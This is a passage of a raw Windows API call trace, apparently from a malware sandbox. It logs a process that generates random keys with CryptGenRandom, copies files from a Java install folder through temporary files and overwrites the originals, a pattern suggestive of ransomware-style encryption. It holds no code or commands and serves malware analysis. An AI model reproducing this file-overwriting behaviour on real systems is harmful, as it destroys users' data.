	[0244.407] WriteFile (in: hFile=0x19c, lpBuffer=0xc000368000*, nNumberOfBytesToWrite=0x2381c, lpNumberOfBytesWritten=0xc000279bec, lpOverlapped=0x0 | out: lpBuffer=0xc000368000*, lpNumberOfBytesWritten=0xc000279bec*=0x2381c, lpOverlapped=0x0) returned 1
	[0244.430] CloseHandle (hObject=0x19c) returned 1
	[0244.443] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0244.512] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000279d74 | out: lpMode=0xc000279d74) returned 0
	[0244.512] GetFileType (hFile=0x19c) returned 0x1
	[0244.512] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e0db447d2675388f536b6501547ac9af" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e0db447d2675388f536b6501547ac9af"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1a8
	[0244.512] GetConsoleMode (in: hConsoleHandle=0x1a8, lpMode=0xc000279d74 | out: lpMode=0xc000279d74) returned 0
	[0244.512] GetFileType (hFile=0x1a8) returned 0x1
	[0244.512] ReadFile (in: hFile=0x1a8, lpBuffer=0xc00021e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000279bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesRead=0xc000279bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0244.512] WriteFile (in: hFile=0x19c, lpBuffer=0xc00021e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000279b74, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesWritten=0xc000279b74*=0x8000, lpOverlapped=0x0) returned 1
	[0244.515] ReadFile (in: hFile=0x1a8, lpBuffer=0xc00021e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000279bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesRead=0xc000279bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0244.515] WriteFile (in: hFile=0x19c, lpBuffer=0xc00021e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000279b74, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesWritten=0xc000279b74*=0x8000, lpOverlapped=0x0) returned 1
	[0244.516] ReadFile (in: hFile=0x1a8, lpBuffer=0xc00021e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000279bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesRead=0xc000279bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0244.516] WriteFile (in: hFile=0x19c, lpBuffer=0xc00021e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000279b74, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesWritten=0xc000279b74*=0x8000, lpOverlapped=0x0) returned 1
	[0244.517] ReadFile (in: hFile=0x1a8, lpBuffer=0xc00021e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000279bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesRead=0xc000279bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0244.517] WriteFile (in: hFile=0x19c, lpBuffer=0xc00021e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000279b74, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesWritten=0xc000279b74*=0x8000, lpOverlapped=0x0) returned 1
	[0244.518] ReadFile (in: hFile=0x1a8, lpBuffer=0xc00021e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000279bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesRead=0xc000279bd4*=0x381c, lpOverlapped=0x0) returned 1
	[0244.519] WriteFile (in: hFile=0x19c, lpBuffer=0xc00021e000*, nNumberOfBytesToWrite=0x381c, lpNumberOfBytesWritten=0xc000279b74, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesWritten=0xc000279b74*=0x381c, lpOverlapped=0x0) returned 1
	[0244.519] ReadFile (in: hFile=0x1a8, lpBuffer=0xc00021e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000279bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesRead=0xc000279bd4*=0x0, lpOverlapped=0x0) returned 1
	[0244.519] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e0db447d2675388f536b6501547ac9af" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e0db447d2675388f536b6501547ac9af")) returned 0
	[0244.519] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e0db447d2675388f536b6501547ac9af" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e0db447d2675388f536b6501547ac9af")) returned 0
	[0244.520] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e0db447d2675388f536b6501547ac9af" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e0db447d2675388f536b6501547ac9af")) returned 0x20
	[0244.520] CloseHandle (hObject=0x1a8) returned 1
	[0244.520] CloseHandle (hObject=0x19c) returned 1
	[0244.560] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e0db447d2675388f536b6501547ac9af" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e0db447d2675388f536b6501547ac9af")) returned 1
	[0244.564] VirtualFree (lpAddress=0xc0007d2000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.565] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.046] SetEvent (hEvent=0x190) returned 1
	[0245.046] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.063] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.120] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.139] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.232] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.276] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.305] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.319] SetEvent (hEvent=0x1a0) returned 1
	[0245.319] VirtualFree (lpAddress=0xc00051e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0245.319] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.353] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0003e5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0003e5d94, lpOverlapped=0x0) returned 0
	[0245.353] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x99, lpNumberOfBytesWritten=0xc0003e5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0003e5d94, lpOverlapped=0x0) returned 0
	[0245.353] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0245.353] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0003e5bf4 | out: lpMode=0xc0003e5bf4) returned 0
	[0245.353] GetFileType (hFile=0x120) returned 0x1
	[0245.353] GetFileType (hFile=0x120) returned 0x1
	[0245.354] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc0003e5c44 | out: lpFileInformation=0xc0003e5c44) returned 1
	[0245.354] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc0003e5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0003e5c28) returned 1
	[0245.354] ReadFile (in: hFile=0x120, lpBuffer=0xc0001c0000, nNumberOfBytesToRead=0x238e, lpNumberOfBytesRead=0xc0003e5b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001c0000*, lpNumberOfBytesRead=0xc0003e5b04*=0x218e, lpOverlapped=0x0) returned 1
	[0245.382] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.475] ReadFile (in: hFile=0x120, lpBuffer=0xc0001c218e, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0003e5b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001c218e*, lpNumberOfBytesRead=0xc0003e5b04*=0x0, lpOverlapped=0x0) returned 1
	[0245.475] CloseHandle (hObject=0x120) returned 1
	[0245.475] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c0080 | out: pbBuffer=0xc0000c0080) returned 1
	[0245.475] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c0a0 | out: pbBuffer=0xc00028c0a0) returned 1
	[0245.475] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082101 | out: pbBuffer=0xc000082101) returned 1
	[0245.476] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bdc8871fbac70b148e43cde1dfeec486" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bdc8871fbac70b148e43cde1dfeec486"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0245.476] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000c5c04 | out: lpMode=0xc0000c5c04) returned 0
	[0245.476] GetFileType (hFile=0x120) returned 0x1
	[0245.476] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x228e, lpNumberOfBytesWritten=0xc0000c5bec, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000c5bec*=0x228e, lpOverlapped=0x0) returned 1
	[0245.478] CloseHandle (hObject=0x120) returned 1
	[0245.480] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0245.482] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000c5d74 | out: lpMode=0xc0000c5d74) returned 0
	[0245.482] GetFileType (hFile=0x120) returned 0x1
	[0245.483] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bdc8871fbac70b148e43cde1dfeec486" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bdc8871fbac70b148e43cde1dfeec486"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0245.483] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0000c5d74 | out: lpMode=0xc0000c5d74) returned 0
	[0245.483] GetFileType (hFile=0x198) returned 0x1
	[0245.483] ReadFile (in: hFile=0x198, lpBuffer=0xc0000f4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000f4000*, lpNumberOfBytesRead=0xc0000c5bd4*=0x228e, lpOverlapped=0x0) returned 1
	[0245.483] WriteFile (in: hFile=0x120, lpBuffer=0xc0000f4000*, nNumberOfBytesToWrite=0x228e, lpNumberOfBytesWritten=0xc0000c5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0000f4000*, lpNumberOfBytesWritten=0xc0000c5b74*=0x228e, lpOverlapped=0x0) returned 1
	[0245.485] ReadFile (in: hFile=0x198, lpBuffer=0xc0000f4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000f4000*, lpNumberOfBytesRead=0xc0000c5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0245.485] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bdc8871fbac70b148e43cde1dfeec486" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bdc8871fbac70b148e43cde1dfeec486")) returned 0
	[0245.485] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bdc8871fbac70b148e43cde1dfeec486" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bdc8871fbac70b148e43cde1dfeec486")) returned 0
	[0245.486] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bdc8871fbac70b148e43cde1dfeec486" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bdc8871fbac70b148e43cde1dfeec486")) returned 0x20
	[0245.486] CloseHandle (hObject=0x198) returned 1
	[0245.486] CloseHandle (hObject=0x120) returned 1
	[0245.486] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bdc8871fbac70b148e43cde1dfeec486" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bdc8871fbac70b148e43cde1dfeec486")) returned 1
	[0245.488] SetEvent (hEvent=0xe4) returned 1
	[0245.488] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0) returned 0
	[0245.488] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0xa3, lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0) returned 0
	[0245.489] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0245.489] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000c5bf4 | out: lpMode=0xc0000c5bf4) returned 0
	[0245.489] GetFileType (hFile=0x120) returned 0x1
	[0245.489] GetFileType (hFile=0x120) returned 0x1
	[0245.489] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc0000c5c44 | out: lpFileInformation=0xc0000c5c44) returned 1
	[0245.489] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc0000c5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000c5c28) returned 1
	[0245.489] ReadFile (in: hFile=0x120, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x31da, lpNumberOfBytesRead=0xc0000c5b04, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc0000c5b04*=0x2fda, lpOverlapped=0x0) returned 1
	[0245.572] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0245.761] ReadFile (in: hFile=0x120, lpBuffer=0xc00011efda, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000c5b04, lpOverlapped=0x0 | out: lpBuffer=0xc00011efda*, lpNumberOfBytesRead=0xc0000c5b04*=0x0, lpOverlapped=0x0) returned 1
	[0245.761] CloseHandle (hObject=0x120) returned 1
	[0245.761] VirtualFree (lpAddress=0xc000516000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0245.762] SwitchToThread () returned 1
	[0245.778] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x706fdff508, ulCount=0x10, ulNumEntriesRemoved=0x706fdff4e0, dwMilliseconds=0x2d, fAlertable=0 | out: lpCompletionPortEntries=0x706fdff508, ulNumEntriesRemoved=0x706fdff4e0) returned 0
	[0245.851] VirtualFree (lpAddress=0xc000512000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0245.872] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x706fdff508, ulCount=0x10, ulNumEntriesRemoved=0x706fdff4e0, dwMilliseconds=0x3af, fAlertable=0 | out: lpCompletionPortEntries=0x706fdff508, ulNumEntriesRemoved=0x706fdff4e0) returned 0
	[0246.955] SwitchToThread () returned 1
	[0247.011] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0247.085] SetEvent (hEvent=0x188) returned 1
	[0247.085] SetEvent (hEvent=0x124) returned 1
	[0247.085] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0247.143] SetEvent (hEvent=0x1a0) returned 1
	[0247.144] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000426000, nNumberOfBytesToRead=0x3aea16, lpNumberOfBytesRead=0xc0000fbb04, lpOverlapped=0x0 | out: lpBuffer=0xc000426000*, lpNumberOfBytesRead=0xc0000fbb04*=0x3ae816, lpOverlapped=0x0) returned 1
	[0250.376] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0250.670] ReadFile (in: hFile=0x1b0, lpBuffer=0xc0007d4816, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000fbb04, lpOverlapped=0x0 | out: lpBuffer=0xc0007d4816*, lpNumberOfBytesRead=0xc0000fbb04*=0x0, lpOverlapped=0x0) returned 1
	[0250.670] CloseHandle (hObject=0x1b0) returned 1
	[0250.670] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000092560 | out: pbBuffer=0xc000092560) returned 1
	[0250.670] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a400 | out: pbBuffer=0xc00021a400) returned 1
	[0250.670] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8701 | out: pbBuffer=0xc0002a8701) returned 1
	[0250.684] VirtualAlloc (lpAddress=0xc002600000, dwSize=0x3b0000, flAllocationType=0x1000, flProtect=0x4) returned 0xc002600000
	[0251.264] SetEvent (hEvent=0x188) returned 1
	[0251.264] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4fa5bcd8aebeeada940017b46bfa61a1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4fa5bcd8aebeeada940017b46bfa61a1"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0
	[0251.265] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000fbc04 | out: lpMode=0xc0000fbc04) returned 0
	[0251.265] GetFileType (hFile=0x1b0) returned 0x1
	[0251.265] WriteFile (in: hFile=0x1b0, lpBuffer=0xc002600000*, nNumberOfBytesToWrite=0x3ae916, lpNumberOfBytesWritten=0xc0000fbbec, lpOverlapped=0x0 | out: lpBuffer=0xc002600000*, lpNumberOfBytesWritten=0xc0000fbbec*=0x3ae916, lpOverlapped=0x0) returned 1
	[0252.156] CloseHandle (hObject=0x1b0) returned 1
	[0253.084] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0
	[0253.099] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000fbd74 | out: lpMode=0xc0000fbd74) returned 0
	[0253.099] GetFileType (hFile=0x1b0) returned 0x1
	[0253.099] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4fa5bcd8aebeeada940017b46bfa61a1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4fa5bcd8aebeeada940017b46bfa61a1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0253.099] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0000fbd74 | out: lpMode=0xc0000fbd74) returned 0
	[0253.099] GetFileType (hFile=0x198) returned 0x1
	[0253.100] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.101] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.104] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.105] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.106] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.106] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.107] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.117] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.118] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.119] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.120] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.120] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.121] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.121] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.123] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.124] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.125] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.127] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.263] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.264] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.265] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.266] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.267] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.267] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
